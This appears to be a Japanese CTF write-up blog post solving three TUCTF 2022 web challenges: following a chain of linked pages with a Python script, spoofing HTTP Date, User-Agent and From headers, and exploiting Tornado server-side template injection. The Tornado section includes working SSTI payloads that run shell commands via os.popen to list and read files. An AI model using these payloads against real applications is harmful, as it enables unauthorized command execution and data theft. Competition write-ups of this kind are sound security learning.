はまやんはまやんはまやん

hamayanhamayan's blog

TUCTF 2022 Writeups

[web] Hyper Maze

迷宮が与えられる。

GET /pages/page_aesthetician100.html
ソースコードを眺めているとpage_drawl99.htmlというのが見つかる。
なるほどね。
page_ほにゃらら数字.htmlを探して、順番にたどっていけばいい

import requests
import re
import time

BASE = 'https://hyper-maze.tuctf.com/pages/'
page = 'page_aesthetician100.html'

for _ in range(99):
    t = requests.get(f'{BASE}{page}').text
    page = re.findall(r'(page_[a-z]*[0-9]*\.html)', t)[0]
    print(page)
    time.sleep(3)

page_lagenaria1.htmlが手に入るので
GET /pages/page_lagenaria1.htmlを探すと
3xtr4_s3cr3t_fl4g_429850252068.htmlというのが見つかり、
GET /pages/3xtr4_s3cr3t_fl4g_429850252068.htmlにアクセスするとフラグ。

[web] Swapping Heads

Sorry! This site is only available from noon to midnight!
ほう。
HTTPリクエストにDateヘッダーというのがあったな。
MDNにあるサンプルを適当にいじって出してみる。

Date: Wed, 21 Oct 2015 23:28:00 GMT
->
Wait a minute! That browser is not from March 2009!

user agentを古いものにしないといけない?
ちょっと調べると
2009年3月のブラウザニュース | RBB TODAY
IE8かFirefox 3.1っぽい?

IE8のuser agentを入れるとすすむ。
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
->
No can do! Where is your email for this site?

From - HTTP | MDN
こういうのあるのか
From: webmaster@example.org
ちがうのか…?

From: webmaster@swapping-heads.tuctf.comを入れたらフラグが降ってきた。

[web] Tornado

Tornadeとか、templateとか、そういったワードがあるのでSSTIを狙う。
{{4*4}}としてみるとHello 16!と言われるので方向性はOK.

{% import os %}{{ os.popen("ls").read() }}
lookatme.txt
が見つかる。
{% import os %}{{ os.popen("cat lookatme.txt").read() }}
Z28gdG8= L3BhcnR0d29vZnRoZXByb2JsZW0=
->
go to/parttwooftheproblem

第一ステージは突破したみたい。

Bob has 1027524 cookies. Alice has 2 cookies. How many cookies does Joe have?と言われる。 POST /namecheckの応答に
<p style="color:white"> Joe has 12957293 cookies - so forgetful, making me put it on the webpage</p>
とある。

色々試すとCookie: are_you_joe=12957293とするとフラグが出てきた。